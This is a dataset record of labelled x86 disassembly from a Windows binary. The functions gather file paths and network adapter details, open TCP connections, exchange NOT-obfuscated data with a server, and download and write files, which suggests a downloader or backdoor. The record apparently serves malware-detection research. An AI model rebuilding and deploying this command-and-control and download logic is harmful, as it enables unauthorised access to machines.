joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b94
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor esi, esi
mov dword [ebp - 0x80], esi
cmp ebx, esi
je 0x401c85
cmp edi, esi
je 0x401c85
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401bca
sub eax, edx
sar eax, 1
je 0x401c85
xor eax, eax
push 0x206
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
call fcn.00408040
add esp, 0xc
cmp dword [ebp + 0x19c], esi
jne 0x401c2b
cmp dword [0x418070], 3
jne 0x401c2b
mov esi, 0x104
push esi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404515
add esp, 0xc
jmp 0x401c3b
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404515
and dword [ebp - 0x7c], 0
push 0x414fd4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00404867
add esp, 0x18
cmp dword [ebp - 0x7c], 0
je 0x401c85
push dword [ebp - 0x7c]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404b5a
push dword [ebp - 0x7c]
call fcn.00404bee
add esp, 0x14
mov dword [ebp - 0x80], esi
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
pop esi
call fcn.00404506
add ebp, 0x194
leave
ret

Function at 0x401d30
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
xor esi, esi
call fcn.00408040
and dword [ebp - 0x80], esi
add esp, 0xc
test edi, edi
je 0x401dc4
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414fb4
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00404515
push 0x414ff4
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.00404867
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x80], 0
je 0x401dc4
push dword [ebp - 0x80]
push esi
push 0x200
push edi
call fcn.00404dcc
push dword [ebp - 0x80]
call fcn.00404bee
add esp, 0x14
mov ecx, dword [ebp + 0x18c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404506
add ebp, 0x190
leave
ret
Function at 0x40255d
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.00408040
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00408040
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401c9e
pop ecx
test eax, eax
je 0x402686
xor eax, eax
movzx ecx, word [eax + 0x414c8c]
mov word [eax + 0x4194b8], cx
inc eax
inc eax
cmp cx, si
jne 0x4025bd
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x4193b0], cx
inc eax
inc eax
cmp cx, si
jne 0x4025d4
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x419430], cx
inc eax
inc eax
cmp cx, si
jne 0x4025ec
cmp dword [0x418070], 3
mov ax, word [ebp - 0x38c]
mov word [0x4194b0], ax
mov ax, word [ebp - 0x2ea]
mov word [0x419538], ax
mov dword [0x41953c], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x402644
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402661
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404515
add esp, 0xc
push 0x414fdc
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404515
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404506
leave
ret

Function at 0x4026a0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [0x418070], 0
call fcn.00408040
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402759
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x40271e
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x4026ff
cmp eax, 1
jne 0x402759
mov dword [0x418070], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404506
add esp, 0x120
ret
cmp eax, 6
jne 0x402759
mov eax, dword [esp + 8]
test eax, eax
jne 0x40274a
mov dword [0x418070], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404506
add esp, 0x120
ret
cmp eax, 1
jne 0x402759
mov dword [0x418070], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404506
add esp, 0x120
ret
Function at 0x402770
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00408040
add esp, 0xc
cmp dword [0x418070], 3
jne 0x4027d0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414fd0
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00404515
add esp, 0xc
jmp 0x4027df
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x415040
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00404506
add esp, 0x20c
ret

Function at 0x4029c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.00408040
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402bd0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402ce0
cmp eax, 0xffffffff
jne 0x402a42
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00404506
add esp, 0x218
ret
push esi
call fcn.004028e0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00404506
add esp, 0x218
ret

Function at 0x402a70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.00408040
add esp, 0xc
cmp edi, 0xffffffff
je 0x402b50
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402b50
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402b0d
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402b23
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402b39
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402b50
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404506
add esp, 0x228
ret
Function at 0x402b70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402bc4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x402e20
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x414fd4
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00404867
add esp, 0xc
test eax, eax
je 0x402e44
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.004053be
mov eax, dword [esp + 0x1c]
push eax
call fcn.004055e0
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.004053be
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.004051dc
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.00404b5a
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00404bee
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.00402f00
mov edx, dword [esp + 0x4c]
push 0x414ff4
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.00404867
add esp, 0x40
test eax, eax
je 0x402ec5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.00404dcc
mov edx, dword [esp + 0x20]
push edx
call fcn.00404bee
add esp, 0x14
test esi, esi
je 0x402eed
push esi
call fcn.004052a6
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4034e0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403559
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403531
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403562
cmp ebx, 3
jb 0x4034f5
mov edi, 0xfffffffd
test esi, esi
je 0x403551
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40353c
mov eax, esi
test esi, esi
je 0x4035ce
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40357c
cmp dword [eax + 0x1c], 0
jne 0x403587
mov eax, dword [eax + 8]
test eax, eax
jne 0x403571
xor edi, edi
jmp 0x403541
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403541

Function at 0x403810
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403940
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40391e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00408040
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00408040
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x418e30
cmp word [esi], 0
je 0x4038be
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00404592
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404515
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x403888
mov esi, 0x418e30
cmp word [esi], 0
je 0x4038e2
push ebx
push edi
push esi
call fcn.004041a0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x4038d1
push 0x419bc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404515
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40391c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00404506
add esp, 0x41c
ret
Function at 0x403b50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403b7b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403bb0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404506
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403b98
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403bec
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403c45
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403c45
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404506
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403c54
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404506
add esp, 0x9b0
ret

Function at 0x403db0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403e32
cmp edi, eax
jle 0x403ddd
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403dd0
lea ebx, [edi + 7]
push ebx
call fcn.0040582f
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x418074]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x418078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00408c00
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403e36
cmp eax, ebx
jne 0x403e36
mov dword [esp + 0xc], 1
jmp 0x403e36
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403e43
push esi
call fcn.00405bfa
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404010
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404051
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40416d
test edx, edx
je 0x40416d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00408040
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404185
test eax, eax
je 0x404185
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.0040582f
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40415b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404139
test eax, eax
je 0x404139
add esi, eax
cmp edi, esi
jg 0x4040c4
cmp esi, 5
jl 0x40415b
mov ecx, dword [0x418074]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40415b
mov dl, byte [ebx + 4]
cmp dl, byte [0x418078]
jne 0x40415b
test esi, esi
jle 0x40411c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404110
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404141
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408c00
mov dword [edi], esi
jmp 0x404150
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40415b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408c00
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404168
push ebx
call fcn.00405bfa
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00404506
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00404506
add esp, 0x8d8
ret
Function at 0x4041a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe28
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0xe24], eax
mov eax, dword [esp + 0xe30]
push ebx
push ebp
mov ebp, dword [esp + 0xe34]
push esi
push edi
push 0x400
lea ecx, [esp + 0x234]
push 0
push ecx
mov dword [esp + 0x30], eax
call fcn.00408040
add esp, 0xc
push ebp
lea edx, [esp + 0x234]
push 0x1ff
push edx
call fcn.00404592
mov eax, ebp
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404200
sub eax, edx
sar eax, 1
lea edi, [esp + eax*2 + 0x232]
mov ecx, pe_nt_image_headers32
mov esi, 0x4199c0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404227
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.004051dc
add esp, 4
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.00408040
add esp, 0xc
push 0x7fe
lea ecx, [esp + 0x636]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x28], 0x10000
mov word [esp + 0x63c], ax
call fcn.00408040
add esp, 0xc
push 0x206
lea eax, [esp + 0x2e]
xor edx, edx
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov word [esp + 0x34], dx
call fcn.00408040
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0xe44]
mov edi, dword [esp + 0x24]
lea edx, [esp + 0x630]
push edx
push eax
lea esi, [esp + 0x20]
call fcn.00403b50
add esp, 8
test eax, eax
je 0x404399
lea ecx, [esp + 0x630]
push ecx
push ebx
push 0xbba
lea ecx, [esp + 0x23c]
mov edx, esi
call fcn.00403c70
add esp, 0xc
test eax, eax
je 0x404399
lea edx, [esp + 0x630]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, ebp
mov edx, esi
call fcn.00403e50
add esp, 0xc
test eax, eax
je 0x404399
mov edx, 0xbba
cmp word [esp + 0x20], dx
jne 0x404399
cmp dword [esp + 0x1c], 0
je 0x404399
cmp byte [ebp], 0
jne 0x404399
push 0x419bc0
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.00404515
add esp, 0xc
push 0x414ff4
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], 0
call fcn.00404867
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x404391
lea eax, [esp + 0x14]
push eax
mov edi, esi
call fcn.004043e0
add esp, 4
mov dword [esp + 0x14], 1
test ebp, ebp
je 0x4043a6
push ebp
call fcn.004052a6
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4043b5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe34]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404506
add esp, 0xe28
ret
Function at 0x4043e0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0040eb50
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x404438
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00404506
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404477
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404476
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00404dcc
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x404440
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00404bee
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00404506
add esp, 0x100c
ret

Function at 0x404506
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41704c]
jne 0x404510
repz ret
jmp fcn.00405e98
Function at 0x40ef62
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409cc4
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f013
push 0x413b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f0c4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b84
push edi
call esi
test eax, eax
je 0x40f0c4
push eax
call fcn.00409c52
mov dword [esp], 0x413b74
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.00409c52
mov dword [esp], 0x413b60
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.00409c52
mov dword [esp], 0x413b44
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.00409c52
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f013
push 0x413b2c
push edi
call esi
push eax
call fcn.00409c52
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f06b
cmp dword [0x418b3c], ebx
je 0x40f06b
push eax
call fcn.00409ccd
push dword [0x418b3c]
mov esi, eax
call fcn.00409ccd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f06b
test edi, edi
je 0x40f06b
call esi
test eax, eax
je 0x40f062
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f062
test byte [ebp - 0xc], 1
jne 0x40f06b
or dword [ebp + 0x10], 0x200000
jmp 0x40f0a4
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f0a4
push eax
call fcn.00409ccd
pop ecx
test eax, eax
je 0x40f0a4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f0a4
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f0a4
push eax
call fcn.00409ccd
pop ecx
test eax, eax
je 0x40f0a4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.00409ccd
pop ecx
test eax, eax
je 0x40f0c4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f0c6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret